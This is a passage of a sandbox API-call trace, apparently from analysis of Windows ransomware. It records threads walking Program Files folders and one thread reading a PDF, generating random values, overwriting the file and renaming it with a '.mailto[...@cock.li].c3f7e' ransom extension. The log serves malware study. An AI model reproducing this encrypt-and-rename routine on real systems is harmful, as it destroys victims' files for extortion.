	[0079.405] FindNextFileW (in: hFindFile=0x2dad4b8, lpFindFileData=0x2dc23b0 | out: lpFindFileData=0x2dc23b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4ffc0fdc, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0x4ffc0fdc, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0x4ffc0fdc, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x39c, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxBlockMap.xml", cAlternateFileName="")) returned 1
	[0079.405] wcscmp (_String1="AppxBlockMap.xml", _String2=".") returned 1
	[0079.405] wcscmp (_String1="AppxBlockMap.xml", _String2="..") returned 1
	[0079.405] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xdc) returned 0x4769020
	[0079.405] wcscpy (in: _Dest=0x4769020, _Source="C:\\Program Files\\WindowsApps\\Microsoft.NET.Native.Runtime.1.1_1.1.23118.0_x86__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.NET.Native.Runtime.1.1_1.1.23118.0_x86__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.NET.Native.Runtime.1.1_1.1.23118.0_x86__8wekyb3d8bbwe"
	[0079.405] wcscat (in: _Dest=0x4769020, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.NET.Native.Runtime.1.1_1.1.23118.0_x86__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.NET.Native.Runtime.1.1_1.1.23118.0_x86__8wekyb3d8bbwe\\"
	[0079.405] wcscat (in: _Dest=0x4769020, _Source="AppxBlockMap.xml" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.NET.Native.Runtime.1.1_1.1.23118.0_x86__8wekyb3d8bbwe\\AppxBlockMap.xml") returned="C:\\Program Files\\WindowsApps\\Microsoft.NET.Native.Runtime.1.1_1.1.23118.0_x86__8wekyb3d8bbwe\\AppxBlockMap.xml"

Thread:
	id = 765
	os_tid = 0x1b20

	[0079.445] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\1494870C-9912-C184-4CC9-B401-A53F4D8DE290.pdf" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\1494870c-9912-c184-4cc9-b401-a53f4d8de290.pdf")) returned 0x20
	[0084.520] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\1494870C-9912-C184-4CC9-B401-A53F4D8DE290.pdf", dwFileAttributes=0x20) returned 1
	[0087.527] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\1494870C-9912-C184-4CC9-B401-A53F4D8DE290.pdf" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\1494870c-9912-c184-4cc9-b401-a53f4d8de290.pdf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1b08
	[0087.527] GetFileSizeEx (in: hFile=0x1b08, lpFileSize=0x1c33fe8c | out: lpFileSize=0x1c33fe8c*=186837) returned 1
	[0087.527] SetFilePointerEx (in: hFile=0x1b08, liDistanceToMove=0x2d9d1, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0087.527] ReadFile (in: hFile=0x1b08, lpBuffer=0x1c33fe10, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1c33fe0c, lpOverlapped=0x0 | out: lpBuffer=0x1c33fe10*, lpNumberOfBytesRead=0x1c33fe0c*=0x4, lpOverlapped=0x0) returned 1
	[0087.529] SetFilePointerEx (in: hFile=0x1b08, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0087.529] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47815f8
	[0087.529] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47813a0
	[0087.529] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781558
	[0087.529] NtQuerySystemTime (in: CurrentTime=0x1c33fdec | out: CurrentTime=0x1c33fdec*=132251868142725453) returned 0x0
	[0087.529] RtlRandom (in: Seed=0x1c33fdf8 | out: Seed=0x1c33fdf8) returned 0xab49f18a
	[0087.529] RtlRandom (in: Seed=0x1c33fdf8 | out: Seed=0x1c33fdf8) returned 0x68231f54
	[0087.529] RtlRandom (in: Seed=0x1c33fdf8 | out: Seed=0x1c33fdf8) returned 0x5c39bfa
	[0087.529] RtlRandom (in: Seed=0x1c33fdf8 | out: Seed=0x1c33fdf8) returned 0x1ac563ac
	[0087.529] RtlRandom (in: Seed=0x1c33fdf8 | out: Seed=0x1c33fdf8) returned 0xc70e07de
	[0087.529] RtlRandom (in: Seed=0x1c33fdf8 | out: Seed=0x1c33fdf8) returned 0xd55fb57d
	[0087.529] RtlRandom (in: Seed=0x1c33fdf8 | out: Seed=0x1c33fdf8) returned 0xc8bb0ffd
	[0087.529] RtlRandom (in: Seed=0x1c33fdf8 | out: Seed=0x1c33fdf8) returned 0xa0eb7c0f
	[0087.529] RtlRandom (in: Seed=0x1c33fdf8 | out: Seed=0x1c33fdf8) returned 0x9550dbed
	[0087.529] RtlRandom (in: Seed=0x1c33fdf8 | out: Seed=0x1c33fdf8) returned 0xc43d8f27
	[0087.529] RtlRandom (in: Seed=0x1c33fdf8 | out: Seed=0x1c33fdf8) returned 0x334848b2
	[0087.529] RtlRandom (in: Seed=0x1c33fdf8 | out: Seed=0x1c33fdf8) returned 0x9c72a451
	[0087.529] RtlRandom (in: Seed=0x1c33fdf8 | out: Seed=0x1c33fdf8) returned 0x21b21505
	[0087.529] RtlRandom (in: Seed=0x1c33fdf8 | out: Seed=0x1c33fdf8) returned 0x52e7fb9b
	[0087.529] RtlRandom (in: Seed=0x1c33fdf8 | out: Seed=0x1c33fdf8) returned 0x2e1b55e7
	[0087.529] RtlRandom (in: Seed=0x1c33fdf8 | out: Seed=0x1c33fdf8) returned 0xff0d605a
	[0087.529] RtlRandom (in: Seed=0x1c33fdf8 | out: Seed=0x1c33fdf8) returned 0x19e71774
	[0087.529] RtlRandom (in: Seed=0x1c33fdf8 | out: Seed=0x1c33fdf8) returned 0x44eaf7fc
	[0087.529] RtlRandom (in: Seed=0x1c33fdf8 | out: Seed=0x1c33fdf8) returned 0xd2a274e3
	[0087.529] RtlRandom (in: Seed=0x1c33fdf8 | out: Seed=0x1c33fdf8) returned 0x40833da5
	[0087.529] RtlRandom (in: Seed=0x1c33fdf8 | out: Seed=0x1c33fdf8) returned 0xf5ac738d
	[0087.529] RtlRandom (in: Seed=0x1c33fdf8 | out: Seed=0x1c33fdf8) returned 0x80c3555f
	[0087.529] RtlRandom (in: Seed=0x1c33fdf8 | out: Seed=0x1c33fdf8) returned 0xbf2598a8
	[0087.529] RtlRandom (in: Seed=0x1c33fdf8 | out: Seed=0x1c33fdf8) returned 0x3db70c5e
	[0087.529] RtlRandom (in: Seed=0x1c33fdf8 | out: Seed=0x1c33fdf8) returned 0xaa76bda9
	[0087.529] RtlRandom (in: Seed=0x1c33fdf8 | out: Seed=0x1c33fdf8) returned 0x2563f6d
	[0087.529] RtlRandom (in: Seed=0x1c33fdf8 | out: Seed=0x1c33fdf8) returned 0xfc589554
	[0087.529] RtlRandom (in: Seed=0x1c33fdf8 | out: Seed=0x1c33fdf8) returned 0x3413d225
	[0087.529] RtlRandom (in: Seed=0x1c33fdf8 | out: Seed=0x1c33fdf8) returned 0x29725ab8
	[0087.529] RtlRandom (in: Seed=0x1c33fdf8 | out: Seed=0x1c33fdf8) returned 0xa47850e9
	[0087.529] RtlRandom (in: Seed=0x1c33fdf8 | out: Seed=0x1c33fdf8) returned 0xd0dea3ae
	[0087.529] RtlRandom (in: Seed=0x1c33fdf8 | out: Seed=0x1c33fdf8) returned 0xa0c1c682
	[0087.536] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47813c8
	[0087.538] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2d82d60
	[0087.538] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781760
	[0087.538] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d82d60) returned 1
	[0087.538] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781558) returned 1
	[0087.538] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47815f8) returned 1
	[0087.538] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x4eaf810
	[0087.538] SetFilePointerEx (in: hFile=0x1b08, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0087.538] ReadFile (in: hFile=0x1b08, lpBuffer=0x4eaf810, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x1c33fdcc, lpOverlapped=0x0 | out: lpBuffer=0x4eaf810*, lpNumberOfBytesRead=0x1c33fdcc*=0xc800, lpOverlapped=0x0) returned 1
	[0087.539] SetFilePointerEx (in: hFile=0x1b08, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0087.539] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfb198
	[0087.539] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2d834e0
	[0087.539] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47816c0
	[0087.539] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47816c0) returned 1
	[0087.540] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x4f17820
	[0087.541] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781468
	[0087.541] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781440
	[0087.541] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781440) returned 1
	[0087.541] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d834e0) returned 1
	[0087.541] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb198) returned 1
	[0087.541] WriteFile (in: hFile=0x1b08, lpBuffer=0x4f17820*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x1c33fdcc, lpOverlapped=0x0 | out: lpBuffer=0x4f17820*, lpNumberOfBytesWritten=0x1c33fdcc*=0xc800, lpOverlapped=0x0) returned 1
	[0087.543] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4f17820) returned 1
	[0087.543] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4eaf810) returned 1
	[0087.543] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x67) returned 0x47ecea0
	[0087.543] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfb300
	[0087.543] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2d834e0
	[0087.543] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781788
	[0087.543] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781788) returned 1
	[0087.543] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x67) returned 0x47ec8f0
	[0087.543] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781530
	[0087.543] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781800
	[0087.543] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781800) returned 1
	[0087.543] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d834e0) returned 1
	[0087.543] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb300) returned 1
	[0087.543] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x14b) returned 0x2e02570
	[0087.543] SetFilePointerEx (in: hFile=0x1b08, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0087.543] WriteFile (in: hFile=0x1b08, lpBuffer=0x2e02570*, nNumberOfBytesToWrite=0x14b, lpNumberOfBytesWritten=0x1c33fe4c, lpOverlapped=0x0 | out: lpBuffer=0x2e02570*, lpNumberOfBytesWritten=0x1c33fe4c*=0x14b, lpOverlapped=0x0) returned 1
	[0087.544] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e02570) returned 1
	[0087.544] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47ec8f0) returned 1
	[0087.544] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781530) returned 1
	[0087.544] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47ecea0) returned 1
	[0087.544] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781468) returned 1
	[0087.544] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47813a0) returned 1
	[0087.545] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47813c8) returned 1
	[0087.545] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781760) returned 1
	[0087.545] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x10e) returned 0x2e02570
	[0087.545] wcscpy (in: _Dest=0x2e02570, _Source="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\1494870C-9912-C184-4CC9-B401-A53F4D8DE290.pdf" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\1494870C-9912-C184-4CC9-B401-A53F4D8DE290.pdf") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\1494870C-9912-C184-4CC9-B401-A53F4D8DE290.pdf"
	[0087.545] wcscat (in: _Dest=0x2e02570, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\1494870C-9912-C184-4CC9-B401-A53F4D8DE290.pdf.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\1494870C-9912-C184-4CC9-B401-A53F4D8DE290.pdf.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0087.545] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\1494870C-9912-C184-4CC9-B401-A53F4D8DE290.pdf.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0x1c33fe04, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\1494870C-9912-C184-4CC9-B401-A53F4D8DE290.pdf.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0087.545] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x124) returned 0x498ed90
	[0087.545] NtSetInformationFile (FileHandle=0x1b08, IoStatusBlock=0x1c33fdfc, FileInformation=0x498ed90, Length=0x124, FileInformationClass=0xa) returned 0x0
	[0087.546] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x498ed90) returned 1
	[0087.546] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4772520) returned 1
	[0087.546] NtQueryInformationFile (in: FileHandle=0x1b08, IoStatusBlock=0x1c33fe10, FileInformation=0x1c33fde8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x1c33fe10, FileInformation=0x1c33fde8) returned 0x0
	[0087.546] NtSetInformationFile (FileHandle=0x1b08, IoStatusBlock=0x1c33fe10, FileInformation=0x1c33fde8, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0087.547] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e02570) returned 1
	[0087.547] FlushFileBuffers (hFile=0x1b08) returned 1
	[0093.132] CloseHandle (hObject=0x1b08) 

Thread:
	id = 766
	os_tid = 0x1b24

	[0079.448] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x80) returned 0x498d460
	[0079.448] wcscpy (in: _Dest=0x498d460, _Source="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroApp" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroApp") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroApp"
	[0079.448] wcscat (in: _Dest=0x498d460, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroApp\\") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroApp\\"
	[0079.448] wcscat (in: _Dest=0x498d460, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroApp\\*") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroApp\\*"
	[0079.448] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x2dc12d8
	[0079.448] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroApp\\*", lpFindFileData=0x2dc12d8 | out: lpFindFileData=0x2dc12d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3632d245, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x3632d245, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x3632d245, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x477b568
	[0087.526] wcscmp (_String1=".", _String2=".") returned 0
	[0087.526] FindNextFileW (in: hFindFile=0x477b568, lpFindFileData=0x2dc12d8 | out: lpFindFileData=0x2dc12d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3632d245, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x3632d245, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x3632d245, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0087.526] wcscmp (_String1="..", _String2=".") returned 1
	[0087.526] wcscmp (_String1="..", _String2="..") returned 0
	[0087.527] FindNextFileW (in: hFindFile=0x477b568, lpFindFileData=0x2dc12d8 | out: lpFindFileData=0x2dc12d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3632d245, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xe2a87d43, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xe2a87d43, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ENU", cAlternateFileName="")) returned 1
	[0087.527] wcscmp (_String1="ENU", _String2=".") returned 1
	[0087.527] wcscmp (_String1="ENU", _String2="..") returned 1
	[0087.527] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x84) returned 0x476ddf8
	[0087.527] wcscpy (in: _Dest=0x476ddf8, _Source="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroApp" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroApp") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroApp"
	[0087.527] wcscat (in: _Dest=0x476ddf8, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroApp\\") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroApp\\"
	[0087.527] wcscat (in: _Dest=0x476ddf8, _Source="ENU" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroApp\\ENU") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroApp\\ENU"
	[0089.673] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x476ddf8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1b1c
	[0089.673] FindNextFileW (in: hFindFile=0x477b568, lpFindFileData=0x2dc12d8 | out: lpFindFileData=0x2dc12d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3632d245, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xe2a87d43, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xe2a87d43, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ENU", cAlternateFileName="")) returned 0
	[0089.674] FindClose (in: hFindFile=0x477b568 | out: hFindFile=0x477b568) returned 1
	[0089.674] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dc12d8) returned 1
	[0089.674] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x498d460) returned 1
	[0089.674] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x498d680) returned 1

Thread:
	id = 767
	os_tid = 0x1b28

	[0079.449] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x80) returned 0x498d818
	[0079.449] wcscpy (in: _Dest=0x498d818, _Source="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF"
	[0079.449] wcscat (in: _Dest=0x498d818, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF\\") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF\\"
	[0079.449] wcscat (in: _Dest=0x498d818, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF\\*") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF\\*"
	[0079.449] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x2dbec58
	[0079.449] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF\\*", lpFindFileData=0x2dbec58 | out: lpFindFileData=0x2dbec58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x352c8bdc, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xe15851ea, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xe15851ea, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x477b528
	[0087.526] wcscmp (_String1=".", _String2=".") returned 0
	[0087.526] FindNextFileW (in: hFindFile=0x477b528, lpFindFileData=0x2dbec58 | out: lpFindFileData=0x2dbec58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x352c8bdc, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xe15851ea, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xe15851ea, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0087.526] wcscmp (_String1="..", _String2=".") returned 1
	[0087.526] wcscmp (_String1="..", _String2="..") returned 0
	[0087.526] FindNextFileW (in: hFindFile=0x477b528, lpFindFileData=0x2dbec58 | out: lpFindFileData=0x2dbec58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcce1de00, ftCreationTime.dwHighDateTime=0x1d36777, ftLastAccessTime.dwLowDateTime=0xdaad3e64, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xcce1de00, ftLastWriteTime.dwHighDateTime=0x1d36777, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cef.pak", cAlternateFileName="")) returned 1
	[0087.526] wcscmp (_String1="cef.pak", _String2=".") returned 1
	[0087.526] wcscmp (_String1="cef.pak", _String2="..") returned 1
	[0087.526] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x8c) returned 0x4e31970
	[0087.526] wcscpy (in: _Dest=0x4e31970, _Source="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF"
	[0087.526] wcscat (in: _Dest=0x4e31970, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF\\") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF\\"
	[0087.526] wcscat (in: _Dest=0x4e31970, _Source="cef.pak" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF\\cef.pak") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF\\cef.pak"
	[0089.674] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x4e31970, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1b04
	[0089.675] FindNextFileW (in: hFindFile=0x477b528, lpFindFileData=0x2dbec58 | out: lpFindFileData=0x2dbec58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcce1de00, ftCreationTime.dwHighDateTime=0x1d36777, ftLastAccessTime.dwLowDateTime=0xdac515e2, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xcce1de00, ftLastWriteTime.dwHighDateTime=0x1d36777, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cef_100_percent.pak", cAlternateFileName="CEF_10~1.PAK")) returned 1
	[0089.675] wcscmp (_String1="cef_100_percent.pak", _String2=".") returned 1
	[0089.675] wcscmp (_String1="cef_100_percent.pak", _String2="..") returned 1
	[0089.675] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xa4) returned 0x2d5d618
	[0089.675] wcscpy (in: _Dest=0x2d5d618, _Source="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF"
	[0089.675] wcscat (in: _Dest=0x2d5d618, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF\\") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF\\"
	[0089.675] wcscat (in: _Dest=0x2d5d618, _Source="cef_100_percent.pak" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF\\cef_100_percent.pak") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF\\cef_100_percent.pak"
	[0089.675] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x2d5d618, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1d0c
